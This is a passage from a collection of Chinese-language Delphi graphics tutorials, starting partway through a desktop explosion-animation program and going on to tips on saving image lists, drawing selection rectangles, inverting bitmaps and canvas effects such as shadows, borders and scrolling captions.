MessageBox(Form1.Handle,'Not Found TransparentBlt in msimg32.dll','Error',0);

FreeLibrary(LibHandle);

Exit;

end;

try

TransparentBlt(hdcDest,

nXOriginDest,

nYOriginDest,

nWidthDest,

hHeightDest,

hdcSrc,

nXOriginSrc,

nYOriginSrc,

nWidthSrc,

nHeightSrc,

crTransparent);

finally

FreeLibrary(LibHandle);

end;

end;

//爆炸函数

//在桌面的X,Y坐标处发生爆炸

procedure TForm1.Explode(X:integer;Y:integer);

var

BitMapB : TBitMap;//保存桌面指定区域的内存位图

w:integer;//一帧动画的宽度

h:integer;//一帧动画的高度

i:integer;

j:integer;

begin

BitMapB:=TBitMap.Create;

try

//动画位图为4*5=20帧

w:=Image1.Width div 4;//计算每帧的宽度

h:=image1.Height div 5;//计算每帧的高度

//初始化内存为图的大小

BitMapB.Height :=h;

BitMapB.Width :=w;

//保存桌面上指定区域的位图

//注意，由于爆炸是在同一位置完成的，所以只要保存爆炸区域一次就行了。

savebackground(BitMapB.canvas,w,h,X,Y);

for i:=0 to 4 do

begin

for j:=0 to 3 do

begin

//把相应帧画到桌面上

tranbit(DeskTopDC ,x,y,w,h,

image1.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

Sleep(20);//显示速度太快，停顿20毫秒

//恢复桌面

bitblt(DeskTopDC,X,Y,w,h,BitMapB.Canvas.handle,0,0,srccopy);

end;

end;

finally

BitMapB.Free;

end;

end;

//飞行器的飞行函数

//参数x,y指定飞行器飞行的目的地

procedure TForm1.shipmove(X:integer;Y:integer);

var

w:integer;

h:integer;

i:integer;

j:integer;

k:integer;

l:integer;

BitMapB : TBitMap;

begin

Randomize();

BitMapB:=TBitMap.Create;

try

//动画位图为4*16-3帧空帧=61帧

w:=Image2.Width div 4;

h:=image2.Height div 16;

BitMapB.Height :=h;

BitMapB.Width :=w;

k:=0;

l:=0;

while not stop do

for i:=0 to 15 do

for j:=0 to 3 do

begin

if (i=15) and (i>0) then break;//如果是空帧就不画了

//保存桌面上指定区域的位图

//注意，由于飞行是在不同位置完成的，所以要保存即将被绘图的桌面区域

savebackground(BitMapB.canvas,w,h,k,l);

tranbit(DeskTopDC ,k,l,w,h,image2.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

sleep(10);

bitblt(DeskTopDC,k,l,w,h,BitMapB.Canvas.handle,0,0,srccopy);

if(k<x)then k:=k+1;

if(l<y)then l:=l+1;

if timer1.Enabled =false then

if(k>x-10)then//到达目的地就停止飞行，并引爆炸弹

begin

stop:=true;

timer1.Enabled :=true;//炸弹引爆器

end;

end;

finally

BitMapB.Free;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);

var

x,y:integer;

begin

if(expnum = 0) then

begin

Explode(screen.width div 2-20,screen.Height div 2-20);

sndPlaySound('explosion.wav',SND_NOSTOP);

expnum:=expnum+1;

end

else if expnum<10 then//爆炸最多10次

begin

//产生随机位置

x:=Random(screen.Width-100);

y:=Random(Screen.Height-100);

Explode(x,y);//爆炸

sndPlaySound('explosion.wav',SND_NOSTOP);//播放爆炸声音

expnum:=expnum+1;

end

else

begin

stop:=true;

timer1.Enabled :=false;

close();

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

DeskTopDC:=GetDC(0);

chdir(ExtractFilePath(application.ExeName));

stop:=false;

expnum:=0;

//飞行器开始飞行，目的地为屏幕中央

self.shipmove(screen.width div 2,screen.Height div 2);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

stop:=true;

Timer1.Enabled :=false;

ReleaseDC(0, DeskTopDC);

end;

end.

4.结束语

正如我们所希望的那样：一个飞行器飞入桌面，慢慢向屏幕中央靠近，当它到达目的地时就爆炸了，并引出一连串的爆炸。程序顺利地完成了我们的希望，但是程序还有许多不足，最好用directx来完成动画，这样效果可能会更好。如谁对其感兴趣的话，发E_MAIL给我，我们一起探讨。（E_MAIL:CODEHUNTER@SOHU.COM）


保存图像列表

原作发表在计算机世界日报：

http://www.ccw.com.cn/htm/app/aprog/01_6_5_2.asp

Delphi中保存图像列表

蔡健
01-6-5 下午 02:07:11

最近在做项目时遇到将图像列表(TImageList)中一系列的图像保存到指定的文件或二进制流中，以便在需要时进行动态恢复的情况。于是在Delphi的帮助中查找TImageList类相关的属性、方法，遗憾的是Delphi在TImageList中并未提供SaveToFile和SaveToStream方法，所以针对TImageList目前的限制，必须采取其它的办法来扩展TImageList的功能，以满足实际项目的需要。
解决方法
方法一：
使用API函数ImageList_Write和ImageList_Read。二者都需要指定一个类型为IStream的参数，前者的作用是将指定句柄的图像列表保存到类型为IStream的二进制流中；后者是从类型为IStream的二进制流中读出原先保存的图像列表，并且返回指向这个图像列表的句柄。IStream是一个OLE对象，它在Delphi中的声明为TStreamAdapter = class(TInterfacedObject, IStream)，意为TStreamAdapter是从TInterfacedObject继承下来的操纵 IStream接口的对象。通过TStreamAdapter对象可以实现Delphi内部TStream对象对ISTream接口对象的操纵。
方法二：
从TImageList继承一个子类TImageListEx，实现自定义的SaveToFileEx和SaveToStreamEx方法。在默认情况下TImageList中保存的图像是由普通图像及其掩码图像组合而成，所以必须调用其基类TCustomImageList的Protected部分提供的GetImages(Index: Integer; Image, Mask: TBitmap)方法，以获得图像列表中指定索引号的位图及其掩码位图，之后分别保存到自定义的文件或二进制流中，此外还需提供LoadFromFileEx和LoadFromStreamEx方法从自定义的文件或二进制流中恢复图像集合。
实现步骤
自定义的TImageListEx控件在Public部分一并实现了对上述两种方法的封装。
TImageListEx类源代码如下：
unit ImageListEx;
interface
uses Windows, SysUtils, Classes, Graphics, Controls, Commctrl, ImgList, Consts;
type
TImageListEx = class(TImageList)
public
procedure LoadFromFile(const FileName: string);//实现API方式保存
procedure LoadFromStream(Stream: TStream);
procedure SaveToFile(const FileName: string);
procedure SaveToStream(Stream: TStream);
procedure LoadFromFileEx(const FileName: string);//实现自定义方式保存
procedure LoadFromStreamEx(Stream: TStream);
procedure SaveToFileEx(const FileName: string);
procedure SaveToStreamEx(Stream: TStream);
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('ImageListEx', [TImageListEx]);
end;
{ TImageListEx }
procedure TImageListEx.LoadFromFile(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead);
try
LoadFromStream(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.LoadFromFileEx(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead);
try
LoadFromStreamEx(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.LoadFromStream(Stream: TStream);
var
SA: TStreamAdapter;
begin
SA := TStreamAdapter.Create(Stream);
try
Handle := ImageList_Read(SA);//将当前图像列表的句柄指向从二进制流中得到的句柄
if Handle = 0 then
raise EReadError.CreateRes(@SImageReadFail);
finally
SA.Free;
end;
end;
procedure TImageListEx.LoadFromStreamEx(Stream: TStream);
var
Width, Height: Integer;
Bitmap, Mask: TBitmap;
BinStream: TMemoryStream;
procedure LoadImageFromStream(Image: TBitmap);
var
Count: DWORD;
begin
Image.Assign(nil);
Stream.ReadBuffer(Count, SizeOf(Count));//首先读出位图的大小
BinStream.Clear;
BinStream.CopyFrom(Stream, Count);//接着读出位图
BinStream.Position := 0;//流指针复位
Image.LoadFromStream(BinStream);
end;
begin
Stream.ReadBuffer(Height, SizeOf(Height));
Stream.ReadBuffer(Width, SizeOf(Width));
Self.Height := Height;
Self.Width := Width;//恢复图像列表原来的高度、宽度
Bitmap := TBitmap.Create;
Mask := TBitmap.Create;
BinStream := TMemoryStream.Create;
try
while Stream.Position <> Stream.Size do
begin
LoadImageFromStream(Bitmap);//从二进制流中读出位图
LoadImageFromStream(Mask);//从二进制流中读出掩码位图
Add(Bitmap, Mask);//将位图及其掩码位图合并添加到图像列表中
end;
finally
Bitmap.Free;
Mask.Free;
BinStream.Free;
end;
end;
procedure TImageListEx.SaveToFile(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStream(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.SaveToFileEx(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStreamEx(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.SaveToStream(Stream: TStream);
var
SA: TStreamAdapter;
begin
SA := TStreamAdapter.Create(Stream);
try
if not ImageList_Write(Handle, SA) then//将当前图像列表保存到二进制流中
raise EWriteError.CreateRes(@SImageWriteFail);
finally
SA.Free;
end;
end;
procedure TImageListEx.SaveToStreamEx(Stream: TStream);
var
I: Integer;
Width, Height: Integer;
Bitmap, Mask: TBitmap;
BinStream: TMemoryStream;
procedure SetImage(Image: TBitmap; IsMask: Boolean);
begin
Image.Assign(nil);//清除上一次保存的图像，避免出现图像重叠
with Image do
begin
if IsMask then Monochrome := True;//掩码位图必须使用单色
Height := Self.Height;
Width := Self.Width;
end;
end;
procedure SaveImageToStream(Image: TBitmap);
var
Count: DWORD;
begin
BinStream.Clear;
Image.SaveToStream(BinStream);
Count := BinStream.Size;
Stream.WriteBuffer(Count, SizeOf(Count));//首先保存位图的大小
Stream.CopyFrom(BinStream, 0);//接着保存位图
end;
begin
Height := Self.Height;
Width := Self.Width;
Stream.WriteBuffer(Height, SizeOf(Height));//保存原图像列表的高度
Stream.WriteBuffer(Width, SizeOf(Width));//保存将原图像列表的宽度
Bitmap := TBitmap.Create;
Mask := TBitmap.Create;
BinStream := TMemoryStream.Create;
try
for I := 0 to Count - 1 do//遂一保存图像列表中的图像
begin
SetImage(Bitmap, False);
SetImage(Mask, True);
GetImages(I, Bitmap, Mask);//取得指定索引号的位图及其掩码位图
SaveImageToStream(Bitmap);//保存位图到二进制流中
SaveImageToStream(Mask);//保存掩码位图到二进制流中
end;
finally
Bitmap.Free;
Mask.Free;
BinStream.Free;
end;
end;
end.
下面示范在Delphi中的使用方法：
首先在Delphi中新建一个项目，然后在Form1上放置一个ImageListEx控件，一个TreeView控件和四个Button控件。将TreeView控件的Images属性与ImageListEx相关联，在ImageListEx中任意添加几幅图像，在TreeView中添加相应数量的项目，项目的ImageIndex属性分别对应于ImageListEx中图像的索引号。现在TreeView中每个项目之前已经能够显示出相应的图标。
最后，在Button1的OnClick事件中写上：
ImageListEx1.SaveToFile('C:\CJ.dat');
ImageListEx1.SaveToFileEx('C:\CJEx.dat');
在Button2的OnClick事件中写上：ImageListEx1.Clear;
在Button3的OnClick事件中写上：ImageListEx1.LoadFromFile('C:\CJ.dat');
在Button4的OnClick事件中写上：ImageListEx1.LoadFromFileEx('C:\CJEx.dat');
运行程序，首先单击Button1，之后单击Button2，最后任意单击Button3或Button4，可以看到程序能够将图像列表中的图像保存到指定的文件中，可以从指定的文件中正确的恢复并显示。
结束语
本文介绍的内容已用于解决本人在实际项目中遇到的情况，也希望同样遇到此问题的程序员能够从中找到答案。以上代码在 Delphi5.0、Windows2000 Server 中调试运行通过。

整理人：不过上面的方法太复杂了，还是我下面的方法简单吧，哈哈！！！

//write imagelist
procedure TForm1.Button1Click(Sender: TObject);
var
FS : TFileStream;
begin
FS :=
TFileStream.Create('C:\il.Dat',fmCreate);
FS.WriteComponent(ImageList1);
FS.Free;
end;

//Read ImageList
procedure TForm1.Button2Click(Sender: TObject);
var
FS : TFileStream;
begin
RegisterClass(TImageList);
FS
:= TFileStream.Create('C:\il.Dat',fmOpenRead);
TComponent(Imagelist1)
:= FS.ReadComponent(ImageList1);
FS.Free;
end;


矩形选择区

摘　要：如何能创建一个矩形选择区，选择图象的一部分用于编辑
关键字：DrawFocusRect
类　别：API
使用Windows API 函数DrawFocusRect。DrawFocusRect 函数执行时使用XOR函数，所以选择同样的矩形区域两次，矩形区域会被擦除。矩形区域一直保持可见。

例子:

type
TForm1 = class(TForm)
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{ 局部声明 }
Capturing : bool;
Captured : bool;
StartPlace : TPoint;
EndPlace : TPoint;
public
{ 公共声明 }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

function MakeRect(Pt1 : TPoint;
Pt2 : TPoint) : TRect;
begin
if pt1.x < pt2.x then begin
Result.Left := pt1.x;
Result.Right := pt2.x;
end else begin
Result.Left := pt2.x;
Result.Right := pt1.x;
end;
if pt1.y < pt2.y then begin
Result.Top := pt1.y;
Result.Bottom := pt2.y;
end else begin
Result.Top := pt2.y;
Result.Bottom := pt1.y;
end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Captured then
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
StartPlace.x := X;
StartPlace.y := Y;
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
Capturing := true;
Captured := true;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Capturing then begin
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
end;

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Capturing := false;
end;

投稿人：codelphi.com　投稿日期：2001-4-24 18:47:00


使位图反色

 我们首先需要知道图象显示的一些理论，计算机是用像素显示图像的，每个像素有像素深度值，每个像素包含的信息是不同的数字。

例如，图像的像素深度是8位，则每个像素可以储存256种颜色。每位可有两个值(0 或 1)，于是就有2x2x2x2x2x2x2x2 = 256。

现在有24位和32位像素深度的图像，我只说明这种图像怎样实现反色。

在RGB颜色模式(R=红, G=绿, B=蓝)下的24位像素深度的图像中，包含3个颜色通道，每个通道各占8位，于是每个通道有256个可能值。3个颜色通道合起来显示最终图像。

理论已够了，我们可以利用以下过程实现：

procedure InvertImage(const AnImage:TImage);
var
BytesPorScan: integer;
vi_width, vi_height: integer;
p: pByteArray;
begin
//仅在24位或32位色下有效
If not (AnImage.Picture.Bitmap.PixelFormat in[pf24Bit, pf32Bit])then
raise exception.create(''Error, Format File not soported!'');

try
BytesPorScan := Abs(Integer(AnImage.Picture.Bitmap.ScanLine[1])-
Integer(AnImage.Picture.Bitmap.ScanLine[0]));
except
raise exception.create(''Error'');
end;

//翻转每个像素的RGB数值
for vi_height := 0 to AnImage.Picture.Bitmap.Height - 1 do
begin
P := AnImage.Picture.Bitmap.ScanLine[vi_height];
for vi_width := 0 to BytesPorScan - 1 do
P^[vi_width] := 255-P^[vi_width];
end;
AnImage.Refresh;

最重要的是for循环的部分。

投稿人：CoDelphi.com　投稿日期：2001-5-13 9:54:00


丢失了工具栏按钮的图标

 我编写了一个带图形按钮的工具栏的应用程序，使用ImageList组件中图象。但是当我在不同的计算机上运行我的程序时，所有的图形都不见了，这是为什么?

当你使用ImageList组件时应当注意，它在不同的Windows版本中可能工作不正常,因为它十分依赖Microsoft的COMCTL32.DLL动态链接库的版本。防止Imagelist组件的异常有两种方法：

1. 从Microsoft站点升级最新的COMCTL32.DLL，并且在每一台你的应用程序可能运行的PC机上安装:
http://www.microsoft.com/msdownload/ieplatform/ie/comctrl.asp。
2. 使用程序资源中的bitmaps。以这种方式，你不必关心COMCTL32.DLL的版本。

具体步骤如下：

1.导出所有存放在你的ImageList中的bitmap文件 (使用ImageList编辑器中的 "Export"按钮) ，假设为"toolbar.bmp".

2. 用文本编辑器或者一些编辑工具(例如http://www.votum.md/sicmps/rb.htm中的Resource Builder)创造一个RC资源文件。

2.1. 手工编写一个RC资源的格式如下:
TOOLBARBMPS BITMAP "toolbar.bmp".

3. 用BRCC32.EXE (在Delphi的BIN目录中)或者其他资源编译器编译RC资源文件。
假如使用BRCC32.EXE则键入下面一行:
BRCC32.EXE bitmaps.rc

按回车你将得到一个bitmaps.res文件。

4. 在你的程序代码中加入下面一行:
{$R "bitmaps.res"}

5. 在FormCreate事件过程中使用如下方法把资源中的图形载入imagelist对象的图形列表中：
ResourceLoad(ImgList.rtBitmap, ''TOOLBARBMPS'',
clSOME_COLOR_FOR_TRANCPARENT);

6.重新编译你的程序。你的图形显示将不来依赖COMCTL32.DLL的版本了。

不要忘记导出图象后清除imagelist对象中的图形以减少应用程序的尺寸。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:39:00


生成两种颜色的中间色

 把颜色c1和c2混合的简便方法是计算两种颜色的中间的rgb值。我把它写成函数，可以方便地使用。但要求快速的话请别用！它真的很慢……

{GetMixColor - start}
function GetMixColor (c1, c2: TColor): TColor;
begin
// 计算c1和c2的红、蓝、绿值的中间值
Result := RGB (
(GetRValue (c1) + GetRValue (c2)) div 2,
(GetGValue (c1) + GetGValue (c2)) div 2,
(GetBValue (c1) + GetBValue (c2)) div 2
);
end;
{GetMixColor - end}

投稿人：CoDelphi.com　投稿日期：2001-5-13 9:54:00


设定TImageList的透明色

 Use the TImageList.AddMasked(Bitmap: TBitmap; MaskColor: TColor)
method. You can either pass the transparent color yourself in
the second parameter or clDefault to let the imagelist take the
bottom-left pixel's color. TSpeedButton and TBitBtn use this
method. Check-out buttons.pas (around line 560) to see an
example.


画布应用技巧

在DELPHI 为 编 程 者 提 供 了 一 个 灵 活 的 绘 图 场 所, 即 本 文 所 述 的CANVAS 类, 在DELPHI 中 的 很 多 控 件 都 具 有 此 属 性, 使 编 程 者 可 以 在 这 些 的 控 件 的 表 面 随 心 所 欲 的 绘 图, 这 对 完 善 用 户 界 面 或 者 制 作 一 些 屏 幕 特 技 都 有 着 非 凡 的 作 用, 下 面 举 例 说 明 几 种 特 殊 屏 幕 效 果 的 形 成 过 程。

一、VANVAS 必 备 基 本 知 识：
1. 具 有CANVAS 属 性 的 控 件:
TBitmap ,TComboBox ,TDBComboBox ,TDBGrid ,TDBListBox ,TDirectoryListBox ,TDrawGrid ,TFileListBox ,TForm ,THeaderControl ,TImage ,TListBox ,TOutline ,TPaintBox ,TPrinter ,TStatusBar ,TStringGrid 等 ,

2.CANVAS 属 性 及 命 令: 篇 幅 所 限, 省 略 参 数 及 格 式 说 明, 具 体 请 参 考 文 后 程 序 及DELPHI 帮 助 文 件:

canvas.rectangle(): 画 矩 形 pen.color: 定 义 画 笔 颜 色

roundrect(): 画 圆 角 矩 形 pen.width: 定 义 画 笔 宽 度

arc(): 画 弧 线( 不 填 充) brush.color: 定 义 填 充 颜 色

chord(): 画 弧 线( 填 充) textout(): 在 固 定 位 置 输 出 字 符 串

pie: 画 扇 形 textwidth: 取 字 符 串 高 度

polygon(): 画 多 边 形 填 充 textheight: 取 字 符 串 宽 度

polyline(): 多 点 连 线( 不 填 充) font.color: 指 定 字 体 颜 色

Pixels(): 指 定 固 定 象 素 点 颜 色 值 font.size: 指 定 字 体 大 小

moveto(): 指 明 画 线 起 点 Ellipse(): 画 圆 或 椭 圆

lineto(): 指 明 画 线 终 点
3. 使 用CANVAS 注 意 事 项: 当 窗 口 进 行 重 画 时, 画 布 上 的 图 像 将 消 失, 比 如 当 窗 口 进 行 最 小 化 又 重 新 恢 复 时， 就 会 引 起 画 布 上 图 像 的 消 失， 另 外 当 刚 刚 运 行 程 序 时， 窗 口 也 是 属 于 重 新 绘 制， 所 以 如 果 在 绘 制 窗 口 之 前 在 画 布 上 绘 图， 弹 出 窗 口 后 将 不 能 显 示 出 图 像， 比 如 在TForm1.FormCreate() 事 件 中 进 行 画 布 绘 图 操 作 将 是 徒 劳 的， 但 可 以 在 此 事 件 中 进 行 画 布 操 作 的 准 备 工 作， 比 如 设 置 画 笔 的 颜 色 和 宽 度 等。

二、CANCAS 应 用 举 例:
1. 为 控 件 增 加 阴 影 或 投 影 效 果: 基 本 原 理 就 是 在 利 用 该 控 件 的 父 控 件 比 如FORM 或 者 其 它 容 器 控 件 的CANVAS, 在 需 要 修 饰 的 控 件 周 围 适 当 处 填 加 图 像, 通 过 线 条 及 颜 色 的 合 理 达 配, 使 控 件 与 周 围 的 图 像 融 为 一 体, 形 成 特 殊 的 视 觉 效 果, 具 体 操 作 时 需 要 根 据 被 修 饰 控 件 的TOP、LEFT、WIDTH、HEIGHT 等 属 性， 确 定 需 要 画 线 的 起 点 和 终 点 坐 标， 这 样 操 作 无 论 被 修 饰 控 件 位 置 及 尺 寸 如 何 变 化， 都 可 以 保 证 投 影 及 阴 影 效 果 完 美 的 实 现； 比 如 可 在 窗 口 中 建 立 三 个 按 钮, 然 后 在 按 钮2 和 按 钮3 的CLICK 事 件 中 填 加 如 下 代 码, 之 后 按 下 按 钮2 或 按 钮3 即 使 按 钮1 形 成 投 影 和 阴 影 效 果:

procedure TForm1.Button2Click(Sender: TObject);

var

x,y,i:integer;

begin

x:=0;y:=0;

form1.canvas.pen.width:=1;

for i:=0 to 8 do

begin

form1.canvas.pen.color:=$00a0a0a0;

form1.canvas.moveto(Button1.left+Button1.width+x,

Button1.top+y);

form1.canvas.lineto(Button1.left+Button1.width+x,

Button1.top+button1.height+y);

form1.canvas.pen.color:=$00606060;

form1.canvas.moveto(Button1.left+x,

Button1.top+Button1.height+y);

form1.canvas.lineto(Button1.left+Button1.width+x,

Button1.top+button1.height+y);

x:=x+1;

y:=y+1;

end;

end;

procedure TForm1.Button3Click(Sender: TObject);

var

x,y,i:integer;

begin

x:=0;y:=0;

form1.canvas.pen.width:=1;

for i:=0 to 8 do

begin

form1.canvas.pen.color:=$00404040;

form1.canvas.moveto(Button1.left+Button1.width+x,

Button1.top+8);

form1.canvas.lineto(Button1.left+Button1.width+x,

Button1.top+button1.height+8);

form1.canvas.moveto(Button1.left+8,

Button1.top+Button1.height+y);

form1.canvas.lineto(Button1.left+Button1.width+8,

Button1.top+button1.height+y);

x:=x+1;

y:=y+1;

end;

end;
2. 为 控 件 加 上 边 框: DELPHI 中 有 很 多 控 件 无 边 框 属 性, 利 用CANVAS 可 以 为 任 意 的 控 件 填 加 边 框, 使 其 轮 廓 清 楚; 具 体 操 作 时, 可 先 定 义 出 画 笔 的 颜 色、 画 笔 的 宽 度( 边 框 宽 度), 之 后 用polyline() 命 令 根 据 相 应 控 件 的 位 置、 尺 寸 自 动 定 位 四 角 坐 标， 一 次 可 完 成 一 个 固 定 宽 度 矩 形 的 绘 制 工 作， 如 果 需 要 多 种 颜 色 或 者 具 有 立 体 效 果 的 边 框， 可 多 次 定 义 画 笔 颜 色， 画 出 连 续 的 多 个 矩 形， 通 过 调 整 相 邻 矩 形 的 颜 色 来 实 现 特 殊 效 果 的 边 框 绘 制 工 作； 比 如 在 窗 体 中 安 放 两 个 按 钮, 分 别 在MOUSEMOVE 事 件 中 填 加 如 下 代 码, 之 后 每 当 鼠 标 移 到 相 应 的 按 钮 上 时, 相 应 的 按 钮 就 会 出 现 特 殊 颜 色 的 边 框, 当 鼠 标 移 到 窗 口 空 白 处 时, 则 窗 口 会 出 现 明 显 的 边 线, 起 到 特 殊 的 提 示 效 果;

procedure TForm1.Button1MouseMove

(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

form1.repaint;

form1.Canvas.pen.color:=clGreen;

form1.Canvas.pen.width:=5;

form1.Canvas.polyline([point(Button1.left,Button1.top),

point(Button1.left+Button1.width,Button1.top),

point(Button1.left+Button1.width,Button1.top+Button1.height),

point(Button1.left,Button1.top+Button1.height),

point(Button1.left,Button1.top)]);

end;

procedure TForm1.Button2MouseMove

(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

form1.repaint;

form1.Canvas.pen.color:=clBlue;

form1.Canvas.pen.width:=5;

form1.Canvas.polyline([point(Button2.left,Button2.top),

point(Button2.left+Button2.width,Button2.top),

point(Button2.left+Button2.width,Button2.top+Button2.height),

point(Button2.left,Button2.top+Button2.height),

point(Button2.left,Button2.top)]);

end;

procedure TForm1.FormMouseMove

(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

form1.repaint;

form1.Canvas.pen.color:=clRed;

form1.Canvas.pen.width:=3;

form1.Canvas.polyline([point(0,0), point(form1.width-10,0),

point(form1.width-10,form1.height-30),

point(0,form1.height-30), point(0,0)]);

end;
3. 为 图 形 按 钮 或 其 它 控 件 安 装 动 态 帮 助 功 能, 此 处 主 要 使 用 它 的 字 符 串 显 示 功 能, 也 就 是 当 鼠 标 移 到 指 定 控 件 上 时, 在 其 周 围 适 当 位 置 显 示 相 应 的 字 符 串, 当 鼠 标 离 开 时 通 过 图 像 覆 盖 动 作 使 字 符 串 消 失, 也 可 以 使 用 一 个 简 单 的 命 令 完 成 即form1.repaint, 它 的 作 用 是 使FORM1 内 的 所 有 控 件 全 部 重 新 绘 制, 这 样 即 可 快 速 清 除 原 来 显 示 的 字 符; 编 程 时 主 要 使 用 各 个 控 件 的 MouseMove() 事 件; 比 如 可 在 窗 口 中 安 放 两 个 按 钮, 并 安 排 如 下 代 码, 运 行 之 后 当 鼠 标 移 到 相 应 按 钮 上 时, 就 会 在 其 上 方 显 示 相 应 的 提 示 信 息, 鼠 标 移 到 窗 口 空 白 处 则 会 在 窗 口 的 左 下 角 显 示"OK" 字 样;

procedure TForm1.Button1MouseMove

(Sender:TObject;Shift:TShiftState;X, Y: Integer);

begin

form1.repaint;

form1.Canvas.brush.color:=clGreen;

form1.Canvas.font.size:=8;

form1.Canvas.font.color:=$1200ffff;

form1.Canvas.TextOut(Button1.left,

Button1.top-15,'OPEN FILE');

end;

procedure TForm1.Button2MouseMove

(Sender:TObject;Shift:TShiftState;X, Y: Integer);

begin

form1.repaint;

form1.Canvas.font.size:=8;

form1.Canvas.brush.color:=clRed;

form1.Canvas.font.color:=$1200ffff;

form1.Canvas.TextOut(Button2.left,Button2.top-15,'EXIT');

end;

procedure TForm1.FormMouseMove

(Sender:TObject;Shift:TShiftState;X,

Y: Integer);

begin

form1.repaint;

form1.Canvas.font.size:=12;

form1.Canvas.brush.color:=clBlue;

form1.Canvas.font.color:=$00ffffff;

form1.Canvas.TextOut(0,form1.height-50,'OK');

end;
4. 仿 电 视 移 动 字 幕 或 图 像, 用 此 方 法 制 作 移 动 字 幕 的 基 本 方 法 是: 首 先 选 定 一 个 可 作 为 画 布 的 控 件, 比 如 FORM 或IMAGE, 然 后 用 一 种 填 充 颜 色 填 满 整 个 画 布, 在 画 布 的 固 定 位 置 显 示 一 个 特 殊 前 景 色 固 定 尺 寸 的 字 符 串, 在 TIMER 控 件 中 定 时 连 续 改 变 显 示 字 符 串 的 位 置, 由 于 原 来 位 置 的 字 符 串 不 能 自 动 消 失, 所 以 需 要 用 与 填 充 颜 色 相 同 颜 色 的 线 条 覆 盖 多 余 部 分, 这 样 即 可 实 现 平 滑 的 字 幕 移 动 效 果; 实 现 图 像 移 动 的 方 法: 可 事 先 定 义Bitmap 类 和Rect 类 变 量, 在 程 序 运 行 阶 段 建 立Bitmap 和Rect 对 象, 并 在Bitmap 中 装 入 指 定 的 图 像 文 件, 同 时 把 对 象Bitmap 装 入Rect 对 象 中 实 现 图 像 的 显 示, 然 后 在Timer 控 件 中 定 时 连 续 改 变Rect 的 坐 标 值, 并 用 与 填 充 颜 色 相 同 的 线 条 覆 盖 遗 留 图 像 部 分, 即 可 以 实 现 图 像 的 平 稳 移 动; 采 用 上 述 方 法 实 现 的 字 符 串 或 图 像 移 动 操 作, 其 效 果 平 稳， 无 任 何 闪 烁 或 抖 动 现 象， 视 觉 效 果 极 佳， 并 且 不 需 要 事 先 建 立 控 件， 完 全 由 程 序 代 码 实 现， 具 有 相 当 多 的 优 点； 编 程 举 例: 在 窗 体 中 安 放 时 间 控 件TIMER1、 图 像 框IMAGE1, 定 义TRECT 及TBITMAP 型 变 量, 并 在FormCreate 和Timer1Timer 事 件 中 安 排 如 下 代 码, 程 序 运 行 之 后 即 会 在 图 像 框 中 出 现 至 下 而 上 的 移 动 字 幕 及 图 像 效 果, 并 从 顶 部 消 失, 之 后 重 新 从 底 部 出 现;

var { 定 义 变 量}

Form1: TForm1;

x,tt,l,h:integer;

pic:Trect;

map:Tbitmap;

{ 具 体 动 画 演 示 代 码}

procedure TForm1.Timer1Timer(Sender: TObject);

begin

x:=x-1;

tt:=tt-1;

if x<-160 then

x:=image1.height+20;

tt:=x+80;

image1.Canvas.font.size:=18;

image1.Canvas.font.color:=$1200ffff;

image1.Canvas.TextOut(10,x,'OK 字 幕 移 动 演 示');

image1.Canvas.font.size:=12;

image1.Canvas.font.color:=$120000ff;

image1.Canvas.TextOut(20,x+50,' 字 体 变 色 效 果 演 示');

l:=image1.Canvas.textwidth(' 字 体 变 色 效 果 演 示');

h:=image1.Canvas.textheight(' 字 体 变 色 效 果 演 示');

image1.Canvas.pen.color:=clGreen;

image1.Canvas.moveto(20,h+x+50-2);

image1.Canvas.lineto(20+l,h+x+50-2);

pic.topleft.x:=30;

pic.topleft.y:=tt;

pic.bottomright.x:=pic.topleft.x+100;

pic.bottomright.y:=pic.topleft.y+80;

image1.canvas.stretchdraw(pic,map);

image1.Canvas.pen.color:=clGreen;

image1.Canvas.moveto(0,pic.topleft.y+80);

image1.Canvas.lineto(pic.topleft.x+100,pic.topleft.y+80);

end;

{ 以 下 设 置 动 画 初 值}

procedure TForm1.FormCreate(Sender: TObject);

begin

timer1.enabled:=true;

timer1.Interval:=10;

x:=image1.height+20;

tt:=x+80;

form1.repaint;

image1.Canvas.brush.color:=clGreen;

pic:=Rect(0,0,image1.width,image1.height);

image1.Canvas.FillRect(pic);

pic:=Rect(-1,-1,1,1);

map:=Tbitmap.create;

